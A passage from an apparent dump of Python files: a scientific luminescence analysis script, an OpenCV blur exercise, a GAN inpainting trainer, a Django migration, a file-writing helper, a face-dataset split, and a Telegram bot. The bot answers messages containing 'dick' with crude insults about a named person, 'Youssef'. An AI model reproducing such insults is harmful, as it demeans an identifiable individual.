True:\n \n #INSIDE\n if index in consider_whole_light:\n hlp = 1.0 #outside, consider all light\n else:\n hlp = np.copy(segmm)\n hlp[~np.isnan(hlp)] = 1.0 #inside\n \n # OUTSIDE\n if index in consider_whole_light:\n hlpd = 0.0 #consider all light\n else:\n hlpd = np.copy(segmm)\n hlpd[~np.isnan(hlpd)] = 0.0 \n hlpd[np.isnan(hlpd)] = 1.0\n \n datared = np.average(red, axis = (0))\n datablue = np.average(blue, axis = (0))\n \n if True is False:\n pass\n else:\n initbin = (150+50+3)-1 #init bin for decay\n backgdinit = 50\n ### 700ns /40ns = 7. ....\n datared_init = datared[0:backgdinit,:,:]\n datared = datared[initbin:,:,:]\n datablue_init = datablue[0:backgdinit,:,:]\n datablue = datablue[initbin:,:,:]\n\n \n del datared, datablue, datablue_init, datared_init\n gc.collect()\n \n dataALLred = red[:,:,:,:]\n dataALLblue = blue[:,:,:,:]\n \n #nominal_time_on = 150.0\n \n print('bef nanmean')\n \n red_int_array[index] = np.nanmean(dataALLred[:,backgdinit:initbin,:,:]*hlp,axis=(0,1,2,3)) \n gc.collect()\n print('1')\n blue_int_array[index] = np.nanmean(dataALLblue[:,backgdinit:initbin,:,:]*hlp,axis=(0,1,2,3)) \n gc.collect()\n print('2')\n \n red_decay_array[index,:] = np.nanmean(dataALLred[:,initbin:,:,:]*hlp,axis=(0,2,3))\n gc.collect()\n print('3')\n blue_decay_array[index,:] = np.nanmean(dataALLblue[:,initbin:,:,:]*hlp,axis=(0,2,3))\n gc.collect()\n print('4')\n \n red_std_array[index] = np.nanstd(dataALLred[:,backgdinit:initbin,:,:]*hlp,axis=(0,1,2,3)) \n gc.collect()\n print('5')\n blue_std_array[index] = np.nanstd(dataALLblue[:,backgdinit:initbin,:,:]*hlp,axis=(0,1,2,3)) \n gc.collect()\n print('6')\n \n bgred_int_array[index] = np.nanmean(dataALLred[:,backgdinit:initbin,:,:]*hlpd,axis=(0,1,2,3)) \n gc.collect()\n print('7')\n bgblue_int_array[index] = np.nanmean(dataALLblue[:,backgdinit:initbin,:,:]*hlpd,axis=(0,1,2,3)) \n gc.collect()\n print('8')\n \n bgred_decay_array[index,:] = np.nanmean(dataALLred[:,initbin:,:,:]*hlpd,axis=(0,2,3))\n gc.collect()\n print('9')\n bgblue_decay_array[index,:] = np.nanmean(dataALLblue[:,initbin:,:,:]*hlpd,axis=(0,2,3))\n gc.collect()\n print('10')\n \n bgred_std_array[index] = np.nanstd(dataALLred[:,backgdinit:initbin,:,:]*hlpd,axis=(0,1,2,3))\n gc.collect()\n print('11')\n bgblue_std_array[index] = np.nanstd(dataALLblue[:,backgdinit:initbin,:,:]*hlpd,axis=(0,1,2,3)) \n gc.collect()\n \n print('after nanmean')\n \n del dataALLred, dataALLblue, red, blue, se, segmm\n gc.collect()\n \n##### ONCE ALL FITS WORK, \n###### NEED TO RUN THESE LINES BELOW SO THAT ALL NPZ FILES ARE CREATED \n \nmycode = 'Il_data = tempfile.NamedTemporaryFile(delete=False)'\nexec(mycode)\nnp.savez('Il_data', data = il_data)\n\nmycode = 'Il_data_std = tempfile.NamedTemporaryFile(delete=False)'\nexec(mycode)\nnp.savez('Il_data_std', data = il_data_std)\n\n#foreground\n \nmycode = 'Red_std_array = tempfile.NamedTemporaryFile(delete=False)'\nexec(mycode)\nnp.savez('Red_std_array', data = red_std_array)\n \nmycode = 'Blue_std_array = tempfile.NamedTemporaryFile(delete=False)'\nexec(mycode)\nnp.savez('Blue_std_array', data = blue_std_array)\n \nmycode = 'Red_int_array = tempfile.NamedTemporaryFile(delete=False)'\nexec(mycode)\nnp.savez('Red_int_array', data = red_int_array)\n \nmycode = 'Blue_int_array = tempfile.NamedTemporaryFile(delete=False)'\nexec(mycode)\nnp.savez('Blue_int_array', data = blue_int_array)\n \nmycode = 'Red_decay_array = tempfile.NamedTemporaryFile(delete=False)'\nexec(mycode)\nnp.savez('Red_decay_array', data = red_decay_array)\n\nmycode = 'Blue_decay_array = tempfile.NamedTemporaryFile(delete=False)'\nexec(mycode)\nnp.savez('Blue_decay_array', data = blue_decay_array)\n\n###background\n\nmycode = 'bgRed_std_array = tempfile.NamedTemporaryFile(delete=False)'\nexec(mycode)\nnp.savez('bgRed_std_array', data = bgred_std_array)\n \nmycode = 'bgBlue_std_array = tempfile.NamedTemporaryFile(delete=False)'\nexec(mycode)\nnp.savez('bgBlue_std_array', data = bgblue_std_array)\n \nmycode = 'bgRed_int_array = tempfile.NamedTemporaryFile(delete=False)'\nexec(mycode)\nnp.savez('bgRed_int_array', data = bgred_int_array)\n \nmycode = 'bgBlue_int_array = tempfile.NamedTemporaryFile(delete=False)'\nexec(mycode)\nnp.savez('bgBlue_int_array', data = bgblue_int_array)\n\nmycode = 'bgRed_decay_array = tempfile.NamedTemporaryFile(delete=False)'\nexec(mycode)\nnp.savez('bgRed_decay_array', data =bgred_decay_array)\n\nmycode = 'bgBlue_decay_array = tempfile.NamedTemporaryFile(delete=False)'\nexec(mycode)\nnp.savez('bgBlue_decay_array', data = bgblue_decay_array)\n \nkjjhjh\n","sub_path":"2017-03-26_Andrea_NPs_NewTempData_ThemorcoupleOnSample+FilterNEWNEW/AnalysisOfLTLong_stremlinedcode.py","file_name":"AnalysisOfLTLong_stremlinedcode.py","file_ext":"py","file_size_in_byte":15182,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"631340744","text":"# gaussian smoothing to low illumination noisy image using cv2.GaussianBlur function\n\nimport cv2\n\n\n# Reading Grayscale low-illumination noisy image from the disk and displaying it.\nimg = cv2.imread('./resources/low_illu.jpg',0);\ncv2.imshow('Original Image',img);\n\n# Applying GauusianFiltering on the grayscale image and displaying the image\nimg1=cv2.GaussianBlur(img,(5,5),3);\ncv2.imshow('Blurred',img1)\n\n\n# Wait till any key is pressed\ncv2.waitKey(0)\n# Destroy all the windows created by the imshow() function of the OpenCV\ncv2.destroyAllWindows()","sub_path":"ClassAssignments/Assignment1/Ques6a.py","file_name":"Ques6a.py","file_ext":"py","file_size_in_byte":548,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"495185077","text":"import os\r\nimport time\r\nimport datetime\r\nimport numpy as np\r\nimport torch\r\nimport torch.nn as nn\r\nimport torch.backends.cudnn as cudnn\r\nfrom torch.utils.data import DataLoader\r\n\r\nfrom tensorboardX import SummaryWriter\r\nimport torchvision.utils as vutils\r\n\r\nimport network\r\nimport dataset\r\nimport utils\r\nimport wandb\r\n\r\nclass Logger:\r\n def __init__(self, opt):\r\n wandb.init(project=\"inpainting\")\r\n wandb.run.name = wandb.run.id\r\n wandb.run.save()\r\n\r\n self.writer = SummaryWriter()\r\n self.current_iteration = 0\r\n\r\n def begin(self, n_iter):\r\n self.current_iteration = n_iter\r\n \r\n def add_image(self, image, name='image'):\r\n \"\"\"Logs image grid\r\n \r\n Args:\r\n image: [B, 3, H, W] or [B, 1, H, W]\r\n \"\"\"\r\n x = vutils.make_grid(image, normalize=True, scale_each=True)\r\n self.writer.add_image(name, x, self.current_iteration)\r\n wandb.log({name: [wandb.Image(x, caption=name)]})\r\n \r\n def add_scalars(self, dictionary):\r\n for k, v in dictionary.items():\r\n self.writer.add_scalar(k, v, self.current_iteration)\r\n wandb.log(dictionary)\r\n\r\n\r\ndef create_networks(opt, checkpoint=None):\r\n generator = utils.create_generator(opt)\r\n discriminator = utils.create_discriminator(opt)\r\n perceptualnet = utils.create_perceptualnet()\r\n \r\n if checkpoint:\r\n # Restore the network state\r\n generator.load_state_dict(checkpoint['G'])\r\n discriminator.load_state_dict(checkpoint['D'])\r\n \r\n # To device\r\n if opt.multi_gpu == True:\r\n generator = nn.DataParallel(generator)\r\n discriminator = nn.DataParallel(discriminator)\r\n perceptualnet = nn.DataParallel(perceptualnet)\r\n generator = generator.cuda()\r\n discriminator = discriminator.cuda()\r\n perceptualnet = perceptualnet.cuda()\r\n else:\r\n generator = generator.cuda()\r\n discriminator = discriminator.cuda()\r\n perceptualnet = perceptualnet.cuda()\r\n \r\n return generator, discriminator, perceptualnet\r\n\r\n\r\ndef create_optimizers(generator, discriminator, opt, checkpoint=None):\r\n optimizer_g = torch.optim.Adam(generator.parameters(), lr = opt.lr_g, betas = (opt.b1, opt.b2), weight_decay = opt.weight_decay)\r\n optimizer_d = torch.optim.Adam(discriminator.parameters(), lr = opt.lr_d, betas = (opt.b1, opt.b2), weight_decay = opt.weight_decay)\r\n \r\n def load_optimizer(optimizer, name):\r\n optimizer.load_state_dict(checkpoint[name])\r\n\r\n if checkpoint:\r\n load_optimizer(optimizer_g, 'optimizer_g')\r\n load_optimizer(optimizer_d, 'optimizer_d')\r\n \r\n return optimizer_g, optimizer_d\r\n\r\n\r\ndef auto_sync_checkpoints_to_wandb():\r\n # Save any files starting with \"checkpoint\" as they're written to\r\n wandb.save(os.path.join(wandb.run.dir, \"checkpoint*\"))\r\n\r\n\r\n# Learning rate decrease\r\ndef adjust_learning_rate(lr_in, optimizer, epoch, opt):\r\n \"\"\"Set the learning rate to the initial LR decayed by \"lr_decrease_factor\" every \"lr_decrease_epoch\" epochs\"\"\"\r\n lr = lr_in * (opt.lr_decrease_factor ** (epoch // opt.lr_decrease_epoch))\r\n for param_group in optimizer.param_groups:\r\n param_group['lr'] = lr\r\n\r\n\r\ndef restore(opt):\r\n if not opt.restore:\r\n return None\r\n \r\n print('-' * 30)\r\n print(f'Restoring from {opt.wandb_runpath}/{opt.restore}...')\r\n try:\r\n if '/home' in opt.wandb_runpath:\r\n # Restore from local directory\r\n from shutil import copyfile\r\n copyfile(opt.wandb_runpath, os.path.join(wandb.run.dir, f'checkpoint_{opt.restore}.pth'))\r\n else:\r\n # Copy from a previous run to the current run directory\r\n wandb.restore(f'checkpoint_{opt.restore}.pth', run_path=opt.wandb_runpath)\r\n \r\n # Load the checkpoint\r\n checkpoint = torch.load(os.path.join(wandb.run.dir, f'checkpoint_{opt.restore}.pth'))\r\n return checkpoint\r\n except Exception as e:\r\n print('Restoring failed :(', e)\r\n return None\r\n \r\n\r\ndef save_state( epoch,batch,n_iter,\r\n G, optimizer_g,\r\n D, optimizer_d,\r\n loss, opt):\r\n package = lambda model: model.module.state_dict() if opt.multi_gpu else model.state_dict()\r\n \r\n state = {\r\n 'epoch': epoch,\r\n 'G': package(G),\r\n 'optimizer_g': package(optimizer_g),\r\n 'D': package(D),\r\n 'optimizer_d': package(optimizer_d),\r\n 'n_iter': n_iter,\r\n 'loss': loss,\r\n }\r\n \r\n print('-' * 30)\r\n \r\n path = os.path.join(wandb.run.dir, f'checkpoint_{n_iter}.pth')\r\n print(f' Saving at {path}')\r\n torch.save(state, path)\r\n \r\n # also save to latest\r\n path = os.path.join(wandb.run.dir, f'checkpoint_latest.pth')\r\n print(f' You can restore this checkpoint with \"--restore latest\"')\r\n torch.save(state, path)\r\n \r\n print('-' * 30)\r\n \r\n\r\ndef WGAN_trainer(opt):\r\n # ----------------------------------------\r\n # Initialize training parameters\r\n # ----------------------------------------\r\n logger = Logger(opt)\r\n checkpoint = restore(opt)\r\n \r\n # cudnn benchmark accelerates the network\r\n if opt.cudnn_benchmark == True:\r\n cudnn.benchmark = True\r\n else:\r\n cudnn.benchmark = False\r\n \r\n # --------------------------------------\r\n # Initialize models \r\n # --------------------------------------\r\n generator, discriminator, perceptualnet = create_networks(opt, checkpoint)\r\n \r\n # Loss functions\r\n L1Loss = nn.L1Loss()\r\n #FeatureMatchingLoss = FML1Loss(opt.fm_param)\r\n \r\n # Optimizers\r\n optimizer_g, optimizer_d = create_optimizers(generator, discriminator, opt, checkpoint)\r\n\r\n # Log metrics with wandb\r\n wandb.watch(generator)\r\n wandb.config.update(opt)\r\n auto_sync_checkpoints_to_wandb()\r\n\r\n\r\n # ----------------------------------------\r\n # Initialize training dataset\r\n # ----------------------------------------\r\n\r\n # Define the dataset\r\n trainset = dataset.InpaintDataset(opt)\r\n print('The overall number of images equals to %d' % len(trainset))\r\n\r\n # Define the dataloader\r\n dataloader = DataLoader(trainset, batch_size = opt.batch_size, shuffle = True, num_workers = opt.num_workers, pin_memory = True)\r\n \r\n # ----------------------------------------\r\n # Training and Testing\r\n # ----------------------------------------\r\n\r\n # Initialize start time\r\n prev_time = time.time()\r\n\r\n initial_epoch = checkpoint['epoch'] if opt.restore else 0\r\n n_iter = checkpoint['n_iter'] if opt.restore else 0\r\n \r\n # training loop\r\n for epoch in range(initial_epoch, opt.epochs):\r\n for batch_idx, (img, mask) in enumerate(dataloader):\r\n n_iter += 1\r\n logger.begin(n_iter)\r\n \r\n # Load mask (shape: [B, 1, H, W]), masked_img (shape: [B, 3, H, W]), img (shape: [B, 3, H, W]) and put it to cuda\r\n img = img.cuda()\r\n mask = mask.cuda()\r\n \r\n ### Train discriminator\r\n optimizer_d.zero_grad()\r\n \r\n # Generator output\r\n first_out, second_out = generator(img, mask)\r\n \r\n # forward propagation\r\n first_out_wholeimg = img * (1 - mask) + first_out * mask # in range [-1, 1]\r\n second_out_wholeimg = img * (1 - mask) + second_out * mask # in range [-1, 1]\r\n \r\n if n_iter % opt.log_every == 1:\r\n logger.add_image(img, 'image/training')\r\n logger.add_image(mask, 'mask/training')\r\n logger.add_image(first_out_wholeimg, 'image/first iteration')\r\n logger.add_image(second_out_wholeimg, 'image/second iteration')\r\n \r\n # Fake samples\r\n fake_scalar = discriminator(second_out_wholeimg.detach(), mask)\r\n # True samples\r\n true_scalar = discriminator(img, mask)\r\n \r\n # Overall Loss and optimize\r\n loss_D = - torch.mean(true_scalar) + torch.mean(fake_scalar)\r\n loss_D.backward()\r\n optimizer_d.step()\r\n\r\n ### Train Generator\r\n optimizer_g.zero_grad()\r\n\r\n # Mask L1 Loss\r\n first_MaskL1Loss = L1Loss(first_out_wholeimg, img)\r\n second_MaskL1Loss = L1Loss(second_out_wholeimg, img)\r\n \r\n # GAN Loss\r\n fake_scalar = discriminator(second_out_wholeimg, mask)\r\n GAN_Loss = - torch.mean(fake_scalar)\r\n\r\n # Get the deep semantic feature maps, and compute Perceptual Loss\r\n img = (img + 1) / 2 # in range [0, 1]\r\n img = utils.normalize_ImageNet_stats(img) # in range of ImageNet\r\n img_featuremaps = perceptualnet(img) # feature maps\r\n second_out_wholeimg = (second_out_wholeimg + 1) / 2 # in range [0, 1]\r\n second_out_wholeimg = utils.normalize_ImageNet_stats(second_out_wholeimg)\r\n second_out_wholeimg_featuremaps = perceptualnet(second_out_wholeimg)\r\n second_PerceptualLoss = L1Loss(second_out_wholeimg_featuremaps, img_featuremaps)\r\n\r\n # Compute losses\r\n loss = first_MaskL1Loss + second_MaskL1Loss + opt.perceptual_param * second_PerceptualLoss + opt.gan_param * GAN_Loss\r\n loss.backward()\r\n optimizer_g.step()\r\n\r\n # Determine approximate time left\r\n batches_done = n_iter\r\n batches_left = opt.epochs * len(dataloader) - batches_done\r\n time_left = datetime.timedelta(seconds = batches_left * (time.time() - prev_time))\r\n prev_time = time.time()\r\n \r\n logger.add_scalars({\r\n 'Epoch': epoch + 1,\r\n 'Iteration': n_iter,\r\n 'loss/first Mask L1 Loss': first_MaskL1Loss.item(),\r\n 'loss/second Mask L1 Loss': second_MaskL1Loss.item(),\r\n 'gan/D Loss': loss_D.item(),\r\n 'gan/G Loss': GAN_Loss.item(),\r\n 'Perceptual Loss': second_PerceptualLoss.item()\r\n })\r\n \r\n # Print log\r\n if n_iter % opt.log_every == 1:\r\n print(\"\\r[Epoch %d/%d] [Batch %d/%d] iteration %d\" %\r\n ((epoch + 1), opt.epochs, batch_idx, len(dataloader), n_iter))\r\n print(\"\\r[D Loss: %.5f] [G Loss: %.5f] [Perceptual Loss: %.5f] time_left: %s\" %\r\n (loss_D.item(), GAN_Loss.item(), second_PerceptualLoss.item(), time_left))\r\n \r\n if n_iter % opt.checkpoint_every == 1:\r\n save_state(\r\n epoch=epoch,\r\n batch=batch_idx,\r\n n_iter=n_iter,\r\n G=generator,\r\n optimizer_g=optimizer_g,\r\n D=discriminator,\r\n optimizer_d=optimizer_d,\r\n loss=loss,\r\n opt=opt\r\n )\r\n\r\n # Learning rate decrease\r\n adjust_learning_rate(opt.lr_g, optimizer_g, (epoch + 1), opt)\r\n adjust_learning_rate(opt.lr_d, optimizer_d, (epoch + 1), opt)\r\n\r\n\r\ndef LSGAN_trainer(opt):\r\n # ----------------------------------------\r\n # Initialize training parameters\r\n # ----------------------------------------\r\n\r\n # cudnn benchmark accelerates the network\r\n if opt.cudnn_benchmark == True:\r\n cudnn.benchmark = True\r\n else:\r\n cudnn.benchmark = False\r\n\r\n # Build networks\r\n generator = utils.create_generator(opt)\r\n discriminator = utils.create_discriminator(opt)\r\n perceptualnet = utils.create_perceptualnet()\r\n\r\n # To device\r\n if opt.multi_gpu == True:\r\n generator = nn.DataParallel(generator)\r\n discriminator = nn.DataParallel(discriminator)\r\n perceptualnet = nn.DataParallel(perceptualnet)\r\n generator = generator.cuda()\r\n discriminator = discriminator.cuda()\r\n perceptualnet = perceptualnet.cuda()\r\n else:\r\n generator = generator.cuda()\r\n discriminator = discriminator.cuda()\r\n perceptualnet = perceptualnet.cuda()\r\n\r\n # Loss functions\r\n L1Loss = nn.L1Loss()\r\n MSELoss = nn.MSELoss()\r\n #FeatureMatchingLoss = FML1Loss(opt.fm_param)\r\n\r\n # Optimizers\r\n optimizer_g = torch.optim.Adam(generator.parameters(), lr = opt.lr_g, betas = (opt.b1, opt.b2), weight_decay = opt.weight_decay)\r\n optimizer_d = torch.optim.Adam(generator.parameters(), lr = opt.lr_d, betas = (opt.b1, opt.b2), weight_decay = opt.weight_decay)\r\n\r\n # Learning rate decrease\r\n def adjust_learning_rate(lr_in, optimizer, epoch, opt):\r\n \"\"\"Set the learning rate to the initial LR decayed by \"lr_decrease_factor\" every \"lr_decrease_epoch\" epochs\"\"\"\r\n lr = lr_in * (opt.lr_decrease_factor ** (epoch // opt.lr_decrease_epoch))\r\n for param_group in optimizer.param_groups:\r\n param_group['lr'] = lr\r\n \r\n # Save the model if pre_train == True\r\n def save_model(net, epoch, opt):\r\n \"\"\"Save the model at \"checkpoint_interval\" and its multiple\"\"\"\r\n if opt.multi_gpu == True:\r\n if epoch % opt.checkpoint_interval == 0:\r\n torch.save(net.module, 'deepfillNet_epoch%d_batchsize%d.pth' % (epoch, opt.batch_size))\r\n print('The trained model is successfully saved at epoch %d' % (epoch))\r\n else:\r\n if epoch % opt.checkpoint_interval == 0:\r\n torch.save(net, 'deepfillNet_epoch%d_batchsize%d.pth' % (epoch, opt.batch_size))\r\n print('The trained model is successfully saved at epoch %d' % (epoch))\r\n \r\n # ----------------------------------------\r\n # Initialize training dataset\r\n # ----------------------------------------\r\n\r\n # Define the dataset\r\n trainset = dataset.InpaintDataset(opt)\r\n print('The overall number of images equals to %d' % len(trainset))\r\n\r\n # Define the dataloader\r\n dataloader = DataLoader(trainset, batch_size = opt.batch_size, shuffle = True, num_workers = opt.num_workers, pin_memory = True)\r\n \r\n # ----------------------------------------\r\n # Training and Testing\r\n # ----------------------------------------\r\n\r\n # Initialize start time\r\n prev_time = time.time()\r\n \r\n # Tensor type\r\n Tensor = torch.cuda.FloatTensor\r\n\r\n # Training loop\r\n for epoch in range(opt.epochs):\r\n for batch_idx, (img, mask) in enumerate(dataloader):\r\n\r\n # Load mask (shape: [B, 1, H, W]), masked_img (shape: [B, 3, H, W]), img (shape: [B, 3, H, W]) and put it to cuda\r\n img = img.cuda()\r\n mask = mask.cuda()\r\n\r\n # LSGAN vectors\r\n valid = Tensor(np.ones((img.shape[0], 1, 8, 8)))\r\n fake = Tensor(np.zeros((img.shape[0], 1, 8, 8)))\r\n\r\n ### Train Discriminator\r\n optimizer_d.zero_grad()\r\n\r\n # Generator output\r\n first_out, second_out = generator(img, mask)\r\n\r\n # forward propagation\r\n first_out_wholeimg = img * (1 - mask) + first_out * mask # in range [-1, 1]\r\n second_out_wholeimg = img * (1 - mask) + second_out * mask # in range [-1, 1]\r\n\r\n # Fake samples\r\n fake_scalar = discriminator(second_out_wholeimg.detach(), mask)\r\n # True samples\r\n true_scalar = discriminator(img, mask)\r\n \r\n # Overall Loss and optimize\r\n loss_fake = MSELoss(fake_scalar, fake)\r\n loss_true = MSELoss(true_scalar, valid)\r\n # Overall Loss and optimize\r\n loss_D = 0.5 * (loss_fake + loss_true)\r\n loss_D.backward()\r\n optimizer_d.step()\r\n\r\n ### Train Generator\r\n optimizer_g.zero_grad()\r\n\r\n # Mask L1 Loss\r\n first_MaskL1Loss = L1Loss(first_out_wholeimg, img)\r\n second_MaskL1Loss = L1Loss(second_out_wholeimg, img)\r\n \r\n # GAN Loss\r\n fake_scalar = discriminator(second_out_wholeimg, mask)\r\n GAN_Loss = MSELoss(fake_scalar, valid)\r\n\r\n # Get the deep semantic feature maps, and compute Perceptual Loss\r\n img = (img + 1) / 2 # in range [0, 1]\r\n img = utils.normalize_ImageNet_stats(img) # in range of ImageNet\r\n img_featuremaps = perceptualnet(img) # feature maps\r\n second_out_wholeimg = (second_out_wholeimg + 1) / 2 # in range [0, 1]\r\n second_out_wholeimg = utils.normalize_ImageNet_stats(second_out_wholeimg)\r\n second_out_wholeimg_featuremaps = perceptualnet(second_out_wholeimg)\r\n second_PerceptualLoss = L1Loss(second_out_wholeimg_featuremaps, img_featuremaps)\r\n\r\n # Compute losses\r\n loss = first_MaskL1Loss + second_MaskL1Loss + opt.perceptual_param * second_PerceptualLoss + opt.gan_param * GAN_Loss\r\n loss.backward()\r\n optimizer_g.step()\r\n\r\n # Determine approximate time left\r\n batches_done = epoch * len(dataloader) + batch_idx\r\n batches_left = opt.epochs * len(dataloader) - batches_done\r\n time_left = datetime.timedelta(seconds = batches_left * (time.time() - prev_time))\r\n prev_time = time.time()\r\n\r\n # Print log\r\n print(\"\\r[Epoch %d/%d] [Batch %d/%d] [first Mask L1 Loss: %.5f] [second Mask L1 Loss: %.5f]\" %\r\n ((epoch + 1), opt.epochs, batch_idx, len(dataloader), first_MaskL1Loss.item(), second_MaskL1Loss.item()))\r\n print(\"\\r[D Loss: %.5f] [G Loss: %.5f] [Perceptual Loss: %.5f] time_left: %s\" %\r\n (loss_D.item(), GAN_Loss.item(), second_PerceptualLoss.item(), time_left))\r\n\r\n # Learning rate decrease\r\n adjust_learning_rate(opt.lr_g, optimizer_g, (epoch + 1), opt)\r\n adjust_learning_rate(opt.lr_d, optimizer_d, (epoch + 1), opt)\r\n\r\n # Save the model\r\n save_model(generator, (epoch + 1), opt)\r\n","sub_path":"deepfillv2/trainer.py","file_name":"trainer.py","file_ext":"py","file_size_in_byte":18298,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"391697269","text":"# -*- coding: utf-8 -*-\nfrom __future__ import unicode_literals\n\nfrom django.db import models, migrations\n\n\nclass Migration(migrations.Migration):\n\n dependencies = [\n ('usuarioperfil', '0007_auto_20141204_2058'),\n ]\n\n operations = [\n migrations.AlterModelOptions(\n name='userprofile',\n options={'permissions': (('list_app', 'Can view list app'), ('view_app', 'Can view app'), ('add_app', 'Can add app'), ('change_app', 'Can change app'), ('delete_app', 'Can delete app'))},\n ),\n ]\n","sub_path":"userprofile/usuarioperfil/migrations/0008_auto_20141208_1014.py","file_name":"0008_auto_20141208_1014.py","file_ext":"py","file_size_in_byte":536,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"42314222","text":"import requests\nimport time\nimport random\nfrom pprint import pprint\n\ntoken = \"\"\nurl = \"https://api.telegram.org/bot\" + token + \"/\"\n\nlast_id = 0\ncurrent_update = 0\ncurrent_message = None\n\nQUOTES = [\n \"Yep, Youssef is a total dick\",\n \"Youssef, dick king\",\n \"I am Youssef, lord of cocks\",\n \"Something something Youssef is a dick\",\n \"If a dick could walk it would be called Youssef\",\n \"Youssef is dicktastic ( ͡° ͜ʖ ͡°)\"\n]\n\ndef get_quote():\n return random.choice(QUOTES)\n\ndef get_updates():\n return requests.get(url + 'getUpdates?offset={}'.format(current_update)).json()['result']\n\n\ndef get_new_message():\n global current_update\n updates = get_updates()\n if len(updates) > 0:\n update = updates[-1]\n update_id = update['update_id']\n message_id = update['message']['message_id']\n\n if update_id > current_update:\n current_update = update_id\n return update\n else:\n current_update = update_id\n return None\n else:\n return None\n\n\ndef send_text_reply(text, chat_id, message_id):\n send_url = url + \\\n 'sendMessage?chat_id={chat_id}&text={text}&reply_to_message_id={message_id}'\n requests.get(send_url.format(\n text=text,\n chat_id=chat_id,\n message_id=message_id\n ))\n\n\ndef handle_message(message):\n message = message['message']\n message_id = message['message_id']\n text = message['text']\n chat_id = message['chat']['id']\n\n if ('dick' in text.lower()):\n send_text_reply(get_quote(), chat_id, message_id)\n\n\ndef run():\n while True:\n try:\n message = get_new_message()\n if message:\n handle_message(message)\n time.sleep(1.5)\n except:\n time.sleep(1.5)\n\nif __name__ == '__main__':\n run()\n","sub_path":"telegram.py","file_name":"telegram.py","file_ext":"py","file_size_in_byte":1840,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"163081886","text":"# uncompyle6 version 3.7.4\n# Python bytecode 2.5 (62131)\n# Decompiled from: Python 3.6.9 (default, Apr 18 2020, 01:56:04) \n# [GCC 8.4.0]\n# Embedded file name: build/bdist.macosx-10.3-fat/egg/minideblib/SafeWriteFile.py\n# Compiled at: 2007-11-06 15:08:00\nfrom types import StringType\nfrom shutil import copy2\nfrom string import find\nfrom os import rename\n\nclass ObjectNotAllowed(Exception):\n pass\n\n\nclass InvalidMode(Exception):\n pass\n\n\nclass SafeWriteFile:\n\n def __init__(self, newname, realname, mode='w', bufsize=-1):\n if type(newname) != StringType:\n raise ObjectNotAllowed(newname)\n if type(realname) != StringType:\n raise ObjectNotAllowed(realname)\n if find(mode, 'r') >= 0:\n raise InvalidMode(mode)\n if find(mode, 'a') >= 0 or find(mode, '+') >= 0:\n copy2(realname, newname)\n self.fobj = open(newname, mode, bufsize)\n self.newname = newname\n self.realname = realname\n self.__abort = 0\n\n def close(self):\n self.fobj.close()\n if not (self.closed and self.__abort):\n rename(self.newname, self.realname)\n\n def abort(self):\n self.__abort = 1\n\n def __del__(self):\n self.abort()\n del self.fobj\n\n def __getattr__(self, attr):\n try:\n return self.__dict__[attr]\n except:\n return eval('self.fobj.' + attr)\n\n\nif __name__ == '__main__':\n import time\n f = SafeWriteFile('sf.new', 'sf.data')\n f.write('test\\n')\n f.flush()\n time.sleep(1)\n f.close()","sub_path":"pycfiles/minideblib-0.6.21.29-py2.5/SafeWriteFile.py","file_name":"SafeWriteFile.py","file_ext":"py","file_size_in_byte":1559,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"299420703","text":"# Libraries\nimport matplotlib.pyplot as plt\nimport numpy as np\nimport scipy.io as sio # Used to load data stored in .mat file\nfrom sklearn.metrics import confusion_matrix\nimport time\n\n\n\"\"\" Section 0: Preparing the dataset\n\nX: Contains the facedata, each column represents one face image. \n Each element in a column is a pixel value for the coordinate of one image. \nl: Contains label (face identity for each image) \n \n \"\"\"\n\nmat_content = sio.loadmat('face.mat')\nface_data = mat_content['X'] # Array with dims 2576x520\nface_labels = mat_content['l'] # Array with dims 1x520\nnum_images = face_data.shape[1] # Number of images\nD = face_data.shape[0] # Num of pixels per image = 2576\nIMAGES_PER_PERSON = 10\nnum_people = int(num_images / IMAGES_PER_PERSON) # Number of people the full dataset captures\n\n\"\"\" Split up data to training and testing:\n\n Literature suggests: a split of 60-80 : 40-20 for testing, training respectively to avoid underfitting/overfitting\n Source: https://towardsdatascience.com/train-test-split-and-cross-validation-in-python-80b61beca4b6\n\n Note: Images are ordered in according to their label numbers \n i.e. first set of 10 images have label 1, second set of 10 images have label 2 etc...\n\"\"\"\n\n# Initialise training/testing percentage and training/testing numbers\nTRAIN_PC = 0.8 # Percentage of total data used for training\nTEST_PC = 0.2\nTRAIN_RAT = 8\nTEST_RAT = 2\nno_train = int(TRAIN_PC*num_images) # Number of training data: 416\nno_test = int(TEST_PC*num_images) # Number of testing data: 104\n\n# Initialize arrays for training and testing with appropriate dimensions\ntrain_data = np.zeros((D, no_train))\ntest_data = np.zeros((D, no_test))\ntrain_labels = np.zeros((1, no_train))\ntest_labels = np.zeros((1, no_test))\n\n# Filling in the arrays from face data\nfor i in range(num_people):\n person_faces = face_data[:, IMAGES_PER_PERSON*i:(IMAGES_PER_PERSON*i)+IMAGES_PER_PERSON]\n train_data[:, TRAIN_RAT*i:(TRAIN_RAT*i)+TRAIN_RAT] = person_faces[:, 0:TRAIN_RAT] # Separate 8 of the same person's face in the training set\n train_labels[0, TRAIN_RAT*i:(TRAIN_RAT*i)+TRAIN_RAT] = i+1\n test_data[:, TEST_RAT*i:(TEST_RAT*i)+TEST_RAT] = person_faces[:, TRAIN_RAT:] # Separate 2 of the same person's face in the testing set\n test_labels[0, TEST_RAT*i:(TEST_RAT*i)+TEST_RAT] = i+1\n\n\"\"\" Split up data to training and testing:\n\n Literature suggests: a split of 60-80 : 40-20 for testing, training respectively to avoid underfitting/overfitting\n Source: https://towardsdatascience.com/train-test-split-and-cross-validation-in-python-80b61beca4b6\n\n Note: Images are ordered in according to their label numbers \n i.e. first set of 10 images have label 1, second set of 10 images have label 2 etc...\n\"\"\"\n\n# Initialise training/testing percentage and training/testing numbers\nTRAIN_PC = 0.8 # Percentage of total data used for training\nTEST_PC = 0.2\nTRAIN_RAT = 8\nTEST_RAT = 2\nno_train = int(TRAIN_PC*num_images) # Number of training data: 416\nno_test = int(TEST_PC*num_images) # Number of testing data: 104\n\n# Initialize arrays for training and testing with 